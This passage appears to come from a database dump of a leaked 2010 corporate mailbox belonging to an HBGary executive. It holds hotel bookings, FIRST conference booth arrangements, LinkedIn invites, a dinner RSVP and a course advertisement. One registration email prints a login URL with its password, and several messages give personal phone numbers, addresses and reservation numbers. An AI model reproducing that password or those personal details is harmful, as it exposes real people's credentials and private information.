&nbsp;\r\n        \r\n        \r\n        $427.14 (USD)\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Rules &amp; Restrictions \r\n    \r\n   \r\n   \r\n    \r\n    -\r\n    Check-in Time: 04:00 PM\r\n    - Check-out Time: 12:00 PM\r\n    \r\n    - Canceling your reservation after 6:00 PM (local hotel time) on 13 June,\r\n    2010, or failing to show, will result in a charge of 1 night per room to\r\n    your credit card. Taxes may apply. Failing to call or show before check-out\r\n    time after the first night of a reservation will result in cancellation of\r\n    the remainder of your reservation. \r\n    \r\n    - Only the reservation as entered into and confirmed by our system will be\r\n    honored. Any written or printed confirmation that has been altered may be\r\n    rejected by the hotel.\r\n    \r\n    † As exchange rates may fluctuate from the time a reservation is made until\r\n    the actual stay, the confirmed rate is guaranteed in the hotel\'s base\r\n    currency.\r\n    \r\n    \r\n    \r\n    † As taxes and service charges may fluctuate from the time a reservation\r\n    is made until the actual stay and during the actual stay, the Total Price\r\n    is an estimate. Other hotel-specific service charges may also apply. Check\r\n    with hotel for details. Additional taxes may apply for hotels booked in\r\n    Tokyo, Japan that exceeds 10,000JPY/person per stay. \r\n    \r\n    † Credit card payments relating to Australian hotels incur a merchant\r\n    service fee of 1.5% in addition to the total amount payable.\r\n    \r\n    \r\n    \r\n    Important, please note: Starting June 1, 2009, the Western\r\n    Hemisphere Travel Initiative (WHTI) goes into effect, establishing new document\r\n    requirements for travel into the U.S. from Canada, Mexico, Bermuda and the\r\n    Caribbean, by land and sea. All U.S., Canadian and Bermudian citizens are\r\n    subject to these new requirements, effective June 1, 2009. For more\r\n    information about the WHTI and the required travel documents, go to www.GetYouHome.gov or Canadian citizens can go\r\n    to www.KnowYourBorder.gov. \r\n    \r\n   \r\n   \r\n    \r\n    Comments: \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    - For Reservations Questions in the United States &amp; Canada:\r\n    \r\n    1 800 IC HOTELS (800 424 6835)\r\n    \r\n    - For outside the United States &amp; Canada, click here\r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9940,'aaron_hbgary_com/9940.html'),(6792,'2010-05-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004904.M403234P14101Q1647.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FIRST','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can only have two booth staffers.  Booth Set up is on\r\nTuesday so Aaron, if you want to attend at NO CHARGE, you have to work booth\r\nand help bob do demo&#8217;s and set up.  Martin will be there for part of\r\nTuesday and part of Wednesday. (see below)  Ted can&#8217;t come unless he\r\npays.  \r\n\r\n&nbsp;\r\n\r\n§&nbsp; Booth #:&nbsp; 8\r\n\r\n§&nbsp; Location: 2ND Level\r\nat the InterContinental Hotel Miami\r\n\r\n§&nbsp; Setup: Tuesday, June 15th\r\nfrom 2:00PM-4:00PM\r\n\r\n§&nbsp; Teardown: Friday, June 18th\r\nfrom 1:30PM-3:00PM\r\n\r\n&nbsp;\r\n\r\n§&nbsp; Exhibit Hours:\r\n\r\no&nbsp;&nbsp;&nbsp; Tuesday, June 15th\r\nfrom 4:00PM-8:00PM \r\n\r\no&nbsp;&nbsp;&nbsp; Wednesday, June 16th\r\nfrom 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Thursday, June 17th\r\nfrom 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Friday, June 18th\r\nfrom 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4516,'aaron_hbgary_com/4516.html'),(6793,'2010-05-27','\"Adam Fraser\" <tigclem00@gmail.com>','/aaron@hbgary.com/new/1297004904.M639826P14101Q1648.eml','\"Aaron Barr\" <aaron@hbgary.com>','Invitation to connect on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      Adam Fraser requested to add you as a connection on LinkedIn:\r\n\r\n  \r\n    Aaron,\r\n\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Adam\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Adam Fraser\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can be the first to know when a trusted member of your network changes jobs? With Network Updates on your LinkedIn home page, you\'ll be notified as members of your network change their current position. Be the first to know and reach out! \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',6522,'aaron_hbgary_com/6522.html'),(6794,'2010-05-27','\"FIRST Conference Registration\" <registration@capsllc.net>','/aaron@hbgary.com/new/1297004909.M382220P14101Q1649.eml','aaron@hbgary.com','FIRST.Org Conference Registration Confirmation - BARR','Thank you for registering for the 2010 FIRST Annual Conference, Miami, Florida USA.  Please review the details of your registration below.  If you need to make any changes, you can do so by returning to the site using the link below.\r\nURL: https://reg.first.org/conference/2010/login.aspx\r\nPassword: a147da46-d\r\n\r\nBARR, Aaron , Mr.\r\nCEO\r\n\r\nHBGary, Inc\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA 95864\r\nUnited States of America\r\n\r\naaron@hbgary.com\r\n916-459-4727 x117\r\n916-481-1460\r\n\r\nFirst Time Attendee\r\nStaying in Conference Hotel\r\nDietary Requirements: None\r\nSpecial Needs: None\r\n\r\nRegistration Type: Late Registration\r\n\r\nRegistration Fee (USD): $0\r\n\r\nGuests: 0\r\nWelcome Reception: 0\r\nConference Banquet: 0\r\nConference Lunches: 0\r\n\r\nTotal Guest Fee (USD): $0\r\n\r\nTotal Fee (USD): $0\r\nPayment Due (USD): $0\r\nPayment Type: \r\n\r\nBank Transfer:\r\nIf you are transferring money over the wire, please see the attached invoice for bank details.  Please notify registration@capsllc.net when transfer has been completed.\r\n\r\nChecks:\r\nPlease make checks payable to:\r\nFIRST.Org, Inc.\r\nAttention: Conference Registrar\r\n213 W. Institute Place, Suite 405\r\nChicago, IL 60610\r\n\r\nFor additional questions please contact registration@capsllc.net.  We look forward to seeing you in Miami!\r\n\r\nLetter of Invitation:\r\nPlease contact us at registration@capsllc.net for your request.  Please email us at your earliest convenience.\r\n',5961,'aaron_hbgary_com/5961.html'),(6795,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004909.M942022P14101Q1650.eml','\"Nicole Kaboli\" <nicole@executivebiz.com>','Re: ExecutiveBiz Dinner (Group 11)','Hi Nicole,Am I good for the dinner?AaronOn May 24, 2010, at 8:36 AM, Nicole Kaboli wrote:&nbsp;Dear 4x24 Member,&nbsp;While looking over the calendar invitations for the dinner on Tuesday, June 15th I noticed that you have not yet responded to the electronic invitation that we sent you.&nbsp; We just want to make sure that it is on your calendar and that you will be attending.&nbsp; &nbsp;&nbsp;Looking forward to your response,&nbsp;&nbsp;&nbsp;Nicole KaboliExecutiveBiz and Executive Mosaic8230 Old Courthouse Road, Suite 460Vienna,&nbsp;VA&nbsp;22182Phone: 703-226-7006Fax: 703-752-7454&nbsp;P&nbsp;Please consider the environment before printing this email.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11015,'aaron_hbgary_com/11015.html'),(6796,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004910.M215293P14101Q1651.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Call: Ira & Aaron re: LANL','Ira,\r\n\r\nI apologize for missing our call today.  Do you have any time tomorrow?\r\n\r\nAaron\r\n\r\n\r\nOn May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\n\r\n> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n> Where: Aaron to call Ira @ 703.957.0001\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12056,'aaron_hbgary_com/12056.html'),(6797,'2010-05-28','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004910.M611994P14101Q1652.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Your InterContinental Reservation: 63597541','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nYou will be attending all of the First Conference.  Here is your\r\nhotel confirmation with new dates. \r\n\r\n&nbsp;\r\n\r\nPlease make flight arrangements as soon as possible.  \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: InterContinental\r\nReservations [mailto:Reservations@InterContinental.com] \r\nSent: Thursday, May 27, 2010 5:17 PM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Your InterContinental Reservation: 63597541\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Reservation Resources\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Modify/Cancel\r\n    Reservation \r\n    View All\r\n    Reservations \r\n    Make Another\r\n    Reservation \r\n    View Account\r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Thank you for choosing\r\n    InterContinental. Here is your reservation information. \r\n    \r\n   \r\n   \r\n    \r\n    Reservation Information \r\n    \r\n   \r\n   \r\n    \r\n    Your\r\n    confirmation number is 63597541 \r\n    Please use your confirmation number to reference your reservation. \r\n    Guest Name:\r\n    AARON BARR\r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Additional\r\n    Guests:\r\n    \r\n    \r\n    No additional guests.\r\n    \r\n   \r\n   \r\n    \r\n    Check-In:\r\n    Mon 14 Jun 2010 at 04:00 PM \r\n    Check-Out: Fri 18 Jun 2010 at 12:00 PM \r\n    \r\n    \r\n    View/Modify/Cancel\r\n    Reservation \r\n    \r\n   \r\n   \r\n    \r\n    Hotel Information \r\n    \r\n   \r\n   \r\n    \r\n    MIAMI\r\n    100 CHOPIN PLAZA\r\n    MIAMI, FL 33131\r\n    UNITED STATES \r\n    1-305-5771000 \r\n    \r\n    \r\n    Helpful Links:\r\n    Local\r\n    Maps \r\n    Find\r\n    Attractions\r\n    Make Another\r\n    Reservation \r\n    \r\n   \r\n   \r\n    \r\n    Driving Directions:\r\n    FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT\r\n    2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH\r\n    (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH.\r\n    \r\n   \r\n   \r\n    \r\n    Room/Rate Information \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Type:\r\n      \r\n      \r\n      FIRST\r\n      Conf - PH - FIS \r\n      \r\n     \r\n     \r\n      \r\n      Group\r\n      Details: \r\n      \r\n      \r\n      ANYONE\r\n      CAN BOOK RESERVATIONS \r\n      \r\n     \r\n     \r\n      \r\n      Daily\r\n      Valet Parking Fee:\r\n      \r\n      \r\n      $34.00\r\n      &nbsp;&nbsp;(USD)\r\n      \r\n     \r\n     \r\n      \r\n      Room:&nbsp; \r\n      \r\n      \r\n      STANDARD\r\n      ROOM PERSON(S) MAX PER ROOM : 2 \r\n      BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE\r\n      ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT\r\n      A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD\r\n      SAFE DEPOSIT BOX \r\n      \r\n     \r\n     \r\n      \r\n      Smoking\r\n      Preference:\r\n      \r\n      \r\n      No\r\n      Preference\r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Nights:\r\n      \r\n      \r\n      4\r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Rooms:\r\n      \r\n      \r\n      1\r\n      \r\n     \r\n     \r\n      \r\n      Person(s):\r\n      \r\n      \r\n      1\r\n      Adult(s), 0 Child(ren)\r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Sun\r\n          \r\n          \r\n          Mon\r\n          \r\n          \r\n          Tue\r\n          \r\n          \r\n          Wed\r\n          \r\n          \r\n          Thu\r\n          \r\n          \r\n          Fri\r\n          \r\n          \r\n          Sat\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp; \r\n          \r\n          \r\n          &nbsp; \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            Jun\r\n            1\r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            2 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            3 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            4 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            5 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            6 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            7 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            8 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            9 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            10 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            11 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            12 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            13 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            $189.00 \r\n            \r\n           \r\n           \r\n            \r\n            14 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            $189.00 \r\n            \r\n           \r\n           \r\n            \r\n            15 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            $189.00 \r\n            \r\n           \r\n           \r\n            \r\n            16 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            $189.00 \r\n            \r\n           \r\n           \r\n            \r\n            17 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            18 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            19 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            20 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            21 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            22 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            23 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            24 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            25 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            26 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            27 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            28 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            29 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n           \r\n            \r\n            30 \r\n            \r\n           \r\n          \r\n          \r\n          \r\n          \r\n          &nbsp; \r\n          \r\n          \r\n          &nbsp; \r\n          \r\n          \r\n          &nbsp; \r\n          \r\n         \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        Mon\r\n        14 Jun 2010 - Thu 17 Jun 2010 \r\n        \r\n        \r\n        $189.00 USD \r\n        per night (1 room(s)) \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        Total\r\n        Tax&nbsp;† \r\n        \r\n        \r\n        $98.28 USD \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        Estimated\r\n        Total Price&nbsp;†: \r\n        \r\n        \r\n        $854.28 USD \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Rules &amp; Restrictions \r\n    \r\n   \r\n   \r\n    \r\n    -\r\n    Check-in Time: 04:00 PM \r\n    - Check-out Time: 12:00 PM \r\n    \r\n    - If you need to modify or cancel your reservation, please do so before\r\n    6:00 PM (local hotel time) on Friday, 11 June, 2010 or your credit card\r\n    will be billed for a minimum of 1 night plus tax\r\n    \r\n    - Only the reservation as entered into and confirmed by our system will be\r\n    honored. Any written or printed confirmation that has been altered may be\r\n    rejected by the hotel. \r\n    \r\n    - As exchange rates may fluctuate from the time a reservation is made until\r\n    the actual stay, the confirmed rate is guaranteed in the hotel\'s base\r\n    currency. \r\n    \r\n    \r\n    \r\n    † As taxes and service charges may fluctuate from the time a reservation\r\n    is made until the actual stay and during the actual stay, the Total Price\r\n    is an estimate. Other hotel-specific service charges may also apply. Check\r\n    with hotel for details. Additional taxes may apply for hotels booked in\r\n    Tokyo, Japan that exceeds 10,000JPY/person per stay. \r\n    \r\n    † Credit card payments relating to Australian hotels incur a merchant\r\n    service fee of 1.5% in addition to the total amount payable.\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Have a safe and\r\n    pleasant trip!\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11269,'aaron_hbgary_com/11269.html'),(6798,'2010-05-28','\"Shane Shook\" <shane@shook.net>','/aaron@hbgary.com/new/1297004910.M861100P14101Q1653.eml','\"Aaron Barr\" <aaron@hbgary.com>','how are things?','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nShane Shook has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/27/2010\r\n\r\n\r\n  Subject:\r\n  how are things?\r\n\r\n\r\n\r\n  Aaron - did you go to CEIC?  I\'ve been cooped up in Mike\'s (Spohn) lab for the past couple of weeks, having fun though.\r\n\r\n\r\n\r\n- Shane\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',10588,'aaron_hbgary_com/10588.html'),(6799,'2010-05-28','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004911.M242023P14101Q1654.eml','aaron@hbgary.com','Win More Proposals with Strategies from These Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n		  \r\n		  906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\n		   Course Descriptions:\r\n          907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\nThis course delivers practical examples of how public market research tools and other research resources can increase success and lower costs of government business development. The instructor poses research problems, demonstrates the use of research tools, features active discussion, and offers the opportunity to research sample questions in small groups. The class includes a candid exchange among participants about  experiences with  market research consulting services. Attendees will  take-home exercises to develop skills after the class is done.\r\n906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\nThis course covers the challenges small business teams and prime contractors are likely to encounter in winning\r\n  government business.&nbsp; The instructor uses active discussion, case studies, and group exercises. Business strategy, targeting, and\r\n  relationship development are the foundation of this course, with an emphasis on free public sources of information.\r\n&nbsp;\r\nStevens Institute of Technology: &nbsp;Stevens has designed the Applied Program Management Graduate Certificate which will allow members to develop the necessary skills for success in their mission critical roles. AFCEA members are eligible to receive a 5% tuition discount on this customized certificate.\r\nMeet faculty and learn about Graduate Programs Offered in Washington, DC.\r\nOPEN HOUSE June 3rd 5:00 p.m. - 8:00 p.m.\r\nLOCATION:\r\n    Ronald Reagan Building &amp; International Trade Center\r\n    1300 Pennsylvania Ave NW\r\n    Suite G-17\r\n    Washington, DC&nbsp; 20004\r\n    202-567-6380 \r\nFor more details click:\r\nhttp://dc.stevens.edu/nc/events/stevens-dc-events/item/13/\r\nOther courses offered  in June - August:\r\n603 Data Mining Technologies and Applications in Business Intelligence and NAtional Security; June 2-4.\r\n507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7-9.\r\n386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n382  (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n 381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.&nbsp; There is a separate registration and tuition.&nbsp; See attached link:&nbsp; Comp TIA Security+ EXAM Registration \r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland (703) 631-6137.\r\n    \r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7001,'aaron_hbgary_com/7001.html'),(6800,'2010-05-28','\"Nicole Kaboli\" <nicole@executivebiz.com>','/aaron@hbgary.com/new/1297004911.M555841P14101Q1655.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ExecutiveBiz Dinner (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, I have you as attending.&nbsp; We look forward to having you!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNicole Kaboli\r\n\r\nExecutiveBiz and Executive Mosaic\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 7:44 PM\r\nTo: Nicole Kaboli\r\nSubject: Re: ExecutiveBiz Dinner (Group 11)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Nicole,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAm I good for the dinner?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 24, 2010, at 8:36 AM, Nicole Kaboli wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDear\r\n4x24 Member,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhile\r\nlooking over the calendar invitations for the dinner on Tuesday, June 15th I\r\nnoticed that you have not yet responded to the electronic invitation that we\r\nsent you.&nbsp; We just want to make sure that it is on your calendar and that\r\nyou will be attending.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking\r\nforward to your response,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNicole\r\nKaboli\r\n\r\n\r\n\r\n\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n\r\n\r\n\r\n\r\n8230\r\nOld Courthouse Road, Suite 460\r\n\r\n\r\n\r\n\r\n\r\nVienna,&nbsp;VA&nbsp;22182\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\n703-226-7006\r\n\r\n\r\n\r\n\r\n\r\nFax:\r\n703-752-7454\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nP&nbsp;Please\r\nconsider the environment before printing this email.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13258,'aaron_hbgary_com/13258.html'),(6801,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004911.M890135P14101Q1656.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Your InterContinental Reservation: 63597541','I talked to Penny last night. &nbsp;I am not going to show up until Wednesday morning as I have a business dinner on Tuesday.Thanks,AaronOn May 27, 2010, at 8:18 PM, DeeAnn Buonaccorsi wrote:&nbsp;Hi Aaron,&nbsp;You will be attending all of the First Conference.&nbsp; Here is your hotel confirmation with new dates.&nbsp;Please make flight arrangements as soon as possible.&nbsp;&nbsp;ThanksDeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp; deeann@hbgary.com&nbsp;From:&nbsp;InterContinental Reservations [mailto:Reservations@InterContinental.com]&nbsp;Sent:&nbsp;Thursday, May 27, 2010 5:17 PMTo:&nbsp;DEEANN@HBGARY.COMSubject:&nbsp;Your InterContinental Reservation: 63597541&nbsp;Reservation ResourcesModify/Cancel Reservation&nbsp;View All Reservations&nbsp;Make Another Reservation&nbsp;View AccountThank you for choosing InterContinental. Here is your reservation information.Reservation InformationYour confirmation number is 63597541&nbsp;Please use your confirmation number to reference your reservation.Guest Name:AARON BARRAdditional Guests:No additional guests.Check-In: Mon 14 Jun 2010 at 04:00 PM&nbsp;Check-Out: Fri 18 Jun 2010 at 12:00 